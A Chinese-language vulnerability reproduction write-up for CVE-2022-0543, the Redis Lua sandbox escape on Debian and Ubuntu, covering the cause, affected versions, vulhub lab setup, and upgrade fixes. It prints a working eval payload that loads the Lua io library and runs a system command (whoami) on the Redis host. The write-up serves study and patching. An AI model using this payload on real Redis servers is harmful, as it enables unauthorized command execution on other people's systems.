暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

CVE-2022-0543:redis沙盒逃逸漏洞复现

第59号 2022-04-29
5220
漏洞简介

redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库。造成redis沙盒逃逸漏洞的原因主要是由于redis lua,redis嵌入了lua编程语言作为其脚本引擎,可通过eval命令使用lua,lua引擎是沙盒化的,不能在运行redis的服务器上执行任意代码。但在Debian以及ubuntu发行版上,由于打包问题,在lua沙箱中遗留了一个对象package,攻击者可以利用这个对象package逃逸redis lua沙盒,在运行redis的服务器上执行任意命令。

漏洞影响版本
  • 2.2 <= redis < 5.0.13

  • 2.2 <= redis < 6.0.15

  • 2.2 <= redis < 6.2.5

漏洞环境搭建

通过vulhub搭建漏洞环境

第一步:

执行git clone https://github.com/vulhub/vulhub

第二步:

进入vulhub/redis/CVE-2022-0543目录

cd  vulhub/redis/CVE-2022-0543

第三步:

启动docker漏洞环境

docker-compose up -d

第四步:

查看漏洞环境映射端口

执行docker-compose ps,即可查看漏洞环境端口为6379

漏洞复现

第一步:

使用RedisDesktopManage连接目标redis数据库,RedisDesktopManage下载地址为:

https://github.com/uglide/RedisDesktopManager/releases/tag/0.9.3

第二步:

点击Open Console,调出redis cmd

第三步:

在redis cmd执行以下语句,即可在安装redis的服务器上执行whoami命令

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

漏洞修复

将redis软件包升级更新到以下版本

Debian:

  • Debian Redis(buster):5:5.0.14-1+deb10u2

  • Debian Redis(bullseye):5:6.0.16-1+deb11u2

  • Debian Redis(unstable):5:6.0.16-2

 

Ubuntu:

  • Ubuntu 21.10 Redis:5:6.0.15-1ubuntu0.1

  • Ubuntu 20.04 Redis:5:5.0.7-2ubuntu0.1

修复方法:在 Lua 初始化的末尾添加package=nil


文章转载自第59号,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论